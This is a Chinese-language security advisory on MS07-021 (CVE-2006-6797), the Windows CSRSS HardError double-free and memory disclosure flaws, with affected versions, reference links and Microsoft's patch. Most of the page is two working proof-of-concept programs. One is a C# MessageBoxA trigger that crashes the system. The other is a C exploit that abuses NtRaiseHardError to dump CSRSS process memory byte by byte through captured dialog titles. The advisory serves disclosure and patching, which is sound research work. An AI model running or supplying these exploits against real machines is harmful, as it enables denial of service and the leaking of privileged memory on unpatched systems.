安全研究

安全漏洞
Microsoft Windows CSRSS HardError消息多个漏洞(MS07-021)

发布日期:2006-12-20
更新日期:2007-04-10

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows Vista
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4
Microsoft Windows
描述:
BUGTRAQ  ID: 21688
CVE(CAN) ID: CVE-2006-6797

Microsoft Windows是微软发布的非常流行的操作系统。

Microsoft Windows的WINSRV.DLL在处理HardError消息时存在双重释放错误。如果攻击者能够将MessageBox()函数的caption或text参数设置为以“\??\”开始的字符串的话,就会触发内核内存破坏,导致系统崩溃。此外CSRSS.exe没有正确的验证通过NtRaiseHardError传送的参数,可能允许攻击者浏览CSRSS进程内存的内容。

<*来源:3APA3A (3APA3A@security.nnov.ru
        Ruben Santamarta (ruben@reversemode.com
  
  链接:http://www.determina.com/security.research/vulnerabilities/csrss-harderror.html
        http://marc.theaimsgroup.com/?l=full-disclosure&m=116670234706142&w=2
        http://secunia.com/advisories/23448/
        http://blogs.technet.com/msrc/archive/2006/12/22/new-report-of-a-windows-vulnerability.aspx
        http://research.eeye.com/html/alerts/zeroday/20061215.html
        http://secunia.com/advisories/23491/
        http://www.microsoft.com/technet/security/Bulletin/MS07-021.mspx?pf=true
        http://www.us-cert.gov/cas/techalerts/TA07-100A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
[DllImport("user32.dll")]
unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);

static unsafe void Main()
{
   byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
   uint MB_SERVICE_NOTIFICATION = 0x00200000u;
   fixed(byte* pHelloBug = &helloBug[0])
   {
     for(int i=0; i<10; i++)
       MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
   }
}
}
// >> csc /unsafe mbox.cs
// >> mbox.exe

====================================================

/////////////////////////////////////////
/////////////////////////////////////////
///// Microsoft Windows NtRaiseHardError
///// Csrss.exe memory disclosure  
/////////////////////////////////////////
///// Ruben Santamarta  
///// ruben at reversemode dot com
///// www.reversemode.com
/////////////////////////////////////////
///// 12.27.2006
///// For educational purposes ONLY
///// Compiled using gcc (Dev-C++)
////////////////////////////////////////

#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <ntsecapi.h>


#define UNICODE
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS              ((NTSTATUS) 0x00000000)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004)
#define STATUS_INVALID_PARAMETER    ((NTSTATUS) 0xC000000D)
#define SystemProcessesAndThreadsInformation    5
#define NTAPI    __stdcall

int gLen=1;


typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
                                    ULONG,
                                    ULONG,
                                    PULONG,
                                    UINT,
                                    PULONG);    
  

typedef LONG NTSTATUS;
typedef LONG    KPRIORITY;

typedef struct _CLIENT_ID {
    DWORD        UniqueProcess;
    DWORD        UniqueThread;
} CLIENT_ID, * PCLIENT_ID;


typedef struct _VM_COUNTERS {
    SIZE_T        PeakVirtualSize;
    SIZE_T        VirtualSize;
    ULONG        PageFaultCount;
    SIZE_T        PeakWorkingSetSize;
    SIZE_T        WorkingSetSize;
    SIZE_T        QuotaPeakPagedPoolUsage;
    SIZE_T        QuotaPagedPoolUsage;
    SIZE_T        QuotaPeakNonPagedPoolUsage;
    SIZE_T        QuotaNonPagedPoolUsage;
    SIZE_T        PagefileUsage;
    SIZE_T        PeakPagefileUsage;
} VM_COUNTERS;


typedef struct _SYSTEM_THREAD_INFORMATION {
    LARGE_INTEGER   KernelTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   CreateTime;
    ULONG            WaitTime;
    PVOID            StartAddress;
    CLIENT_ID        ClientId;
    KPRIORITY        Priority;
    KPRIORITY        BasePriority;
    ULONG            ContextSwitchCount;
    LONG            State;
    LONG            WaitReason;
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;



typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG            NextEntryDelta;
    ULONG            ThreadCount;
    ULONG            Reserved1[6];
    LARGE_INTEGER   CreateTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   KernelTime;
    UNICODE_STRING  ProcessName;
    KPRIORITY        BasePriority;
    ULONG            ProcessId;
    ULONG            InheritedFromProcessId;
    ULONG            HandleCount;
    ULONG            Reserved2[2];
    VM_COUNTERS        VmCounters;
    IO_COUNTERS        IoCounters;
    SYSTEM_THREAD_INFORMATION  Threads[5];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

  

typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);


ULONG GetCsrssThread()
{
    ULONG cbBuffer = 0x5000;
    ULONG tPointer;
    LPVOID pBuffer = NULL;
    NTSTATUS Status;
    PCWSTR pszProcessName;
    DWORD  junk;
    ULONG ThreadCount;
    int i=0,b=0;

    PQUERYSYSTEM NtQuerySystemInformation;
    PSYSTEM_THREAD_INFORMATION pThreads;
    PSYSTEM_PROCESS_INFORMATION pInfo ;

    NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress(
LoadLibrary( "ntdll.dll" ),
                                              
"NtQuerySystemInformation" );

    
    do
    {
        pBuffer = malloc(cbBuffer);
        if (pBuffer == NULL)
        {
            printf(("Not enough memory\n"));
           break;
        }

        Status = NtQuerySystemInformation(
                    SystemProcessesAndThreadsInformation,
                    pBuffer, cbBuffer, NULL);

        if (Status == STATUS_INFO_LENGTH_MISMATCH)
        {
            free(pBuffer);
            cbBuffer *= 2;
        }
        else if (!NT_SUCCESS(Status))
        {
            printf("NtQuerySystemInformation Error! ");
            free(pBuffer);
        }
        
    }   while (Status == STATUS_INFO_LENGTH_MISMATCH);


    pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

    for (;;)
    {
        

        if (pInfo->NextEntryDelta == 0)
            break;
        if(pInfo->ProcessName.Buffer!=NULL &&
        !wcsicmp(pInfo->ProcessName.Buffer,L"csrss.exe"))
        {
      
            printf("\n[%ws]  \n\n",
pInfo->ProcessName.Buffer);
            printf("5 addresses for testing purposes\n\n");
           for(b=0;b<5;b++)
           {
             printf("Thread %d ->
0x%x\n",b,pInfo->Threads[b].StartAddress);    
           }
           tPointer=(ULONG)pInfo->Threads[1].StartAddress;
        }
        pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)
                        +
pInfo->NextEntryDelta);
    }

    free(pBuffer);
    return tPointer;
}        

VOID WINAPI ReadBox( LPVOID param )
{

    HWND hWindow,hButton,hText;
    int i=0,b=0;
    int gTemp;
    char lpTitle[300];
    char lpText[300];
    char lpBuff[500];
    
    for (;;)
    {
    
        lpText[0]=(BYTE)"";
       Sleep(800);
        hWindow = FindWindow("#32770",NULL);
        if(hWindow != NULL)
        {
            GetWindowText(hWindow,(LPSTR)&lpTitle,250);
            
            hText=FindWindowEx(hWindow,0,"static",0);
        
            GetWindowText(hText,(LPSTR)&lpText,250);
            hText=GetNextWindow(hText,GW_HWNDNEXT);
            
            GetWindowText(hText,(LPSTR)&lpText,250);
            gTemp = strlen(lpTitle);
            
            if ( gTemp>1 ) gLen = gTemp;
            else gLen = 1;
            
            for(i = 0; i < gTemp; i++)  
printf("%.2X",(BYTE)lpTitle[i]);
        
              
            SendMessage(hWindow,WM_CLOSE,0,0);
            
            ZeroMemory((LPVOID)lpTitle,250);
            ZeroMemory((LPVOID)lpText,250);
            ZeroMemory((LPVOID)lpBuff,300);
        }

    }
}



                          
int main()
{
    
   UNICODE_STRING uStr={5,5,L"fun!"};
   ULONG retValue,args[]={0,0,&uStr};
   ULONG csAddr;
   PNTRAISE NtRaiseHardError;    
   int i=0;
    
    system("cls");
    printf("##########################################\n");
    printf("### Microsoft Windows NtRaiseHardError ###\n");
    printf("#####  Csrss.exe memory disclosure  ######\n");
    printf("@@@@@  Xmas Exploit   -   ho ho ho! @@@@@@\n");
    printf("## Ruben Santamarta www.reversemode.com ##\n");
    printf("##########################################\n\n");
  
    
NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntdll.dll"),
                                               "NtRaiseHardError");  
       
    csAddr=GetCsrssThread();
    
    args[0]=csAddr;
      args[1]=csAddr;
       printf("\n[+] Capturing Messages \n");
          
    CreateThread( NULL,              
                  0,                  
                 (LPTHREAD_START_ROUTINE)ReadBox,        
                  0,            
                  0,                
                 NULL);
  
    
                
    printf("\n[+] Now reading at: [0x%p] - Thread 1\n\n",csAddr);        
    
   for(;;)
   {
    printf("Reading bytes at [0x%p] : ",args[0]);
    NtRaiseHardError(0x50000018,3,4,args,1,&retValue);
    
    if(retValue && gLen<=1)          printf("00\n");
    else printf("\n");
  
    args[0]+=gLen;
    args[1]+=gLen;
    }
}

建议:
厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS07-021)以及相应补丁:
MS07-021:Vulnerabilities in CSRSS Could Allow Remote Code Execution (930178)
链接:http://www.microsoft.com/technet/security/Bulletin/MS07-021.mspx?pf=true

浏览次数:5531
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障